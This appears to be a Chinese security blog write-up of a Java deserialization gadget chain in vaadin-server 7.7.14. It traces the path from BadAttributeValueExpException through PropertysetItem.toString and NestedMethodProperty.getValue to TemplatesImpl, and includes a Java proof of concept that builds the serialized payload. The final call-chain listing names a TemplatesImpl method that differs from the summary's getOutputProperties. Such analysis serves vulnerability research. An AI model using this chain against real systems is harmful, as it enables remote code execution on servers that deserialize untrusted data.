参考文章

Vaadin1

Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

又是一个没有听说过的平台框架。Vaadin 的反序列化调用链同样十分简单,依旧是使用反射调用 getter 方法的类来触发 TemplatesImpl 利用链,接下来看一下具体的调用点。

(这里写这个链子的原因是以为这个链子会是用反射来触发getter方法) —-> 可以考虑一下和fastjson共用

利用链分析

先装一下maven依赖

1
2
3
4
5
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>

NestedMethodProperty

com.vaadin.data.util.NestedMethodProperty 类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时将调用 initialize 方法获取实例类中的相关信息存放在成员变量中。

image-20230609094402190

等到调用 NestedMethodPropertygetValue 方法时,就会反射调用封装对象指定属性的 getter 方法。

image-20230609094455778

因此这个类又是可以触发 TemplatesImpl 的利用方式。

(接下来就是找哪个类的某个方法能触发这个getValue方法了)

PropertysetItem

触发类是 com.vaadin.data.util.PropertysetItem ,这个类用来存储 Property 属性值,为其映射一个 id 对象。

数据存放在成员变量 map 中,想要获取相应属性时,则调用 getItemProperty 方法在 map 中获取。

image-20230609094752009

映射的 id 对象则储存在成员变量 list 中。

image-20230609094809632

PropertysetItem 的 toString 方法,获取全部 id 对象并遍历,使用 getItemProperty 方法获取映射的 Property 属性对象,并调用其 getValue 方法。

image-20230609094935073

这是获取id对象是因为

image-20230609095105195

所以说通过id这个对象就能找到Property这个属性的值

因此可以使用 PropertysetItemtoString 方法触发 NestedMethodPropertygetValue 方法。完成漏洞链的构造。

攻击构造

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class Vaadin {

public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

PropertysetItem pItem = new PropertysetItem();

NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(tmpl, "outputProperties");
pItem.addItemProperty("outputProperties", nmprop);

// 实例化 BadAttributeValueExpException 并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);

SerializeUtil.writeObjectToFile(exception);
SerializeUtil.readFileObject();
}
}

image-20230609102414521

第一步是传入一个对象和一个propertyName属性

第二步是给propertyName这个属性映射一个id对象

image-20230609102614981

这里的话是使用BadAttributeValueExpException这个类来触发toString()方法

然后就会会调用到PropertysetItem#toString() 方法,然后遍历的时候会调用到NestedMethodProperty#getValue()方法 然后反射调用TemplatesImpl 类

总结

1.利用说明

  • 反序列化 BadAttributeValueExpException 触发 PropertysetItem 的 toString 方法 调用到 NestedMethodProperty 的 getValue 方法。

2.Gadget总结

  • kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()

  • chain gadget:com.vaadin.data.util.NestedMethodProperty#getValue()

3.调用链展示

1
2
3
4
5
BadAttributeValueExpException.readObject()
PropertysetItem.toString()
PropertysetItem.getPropertyId()
NestedMethodProperty.getValue()
TemplatesImpl.getObjectPropertyValue()

4.依赖版本

vaadin-server : 7.7.14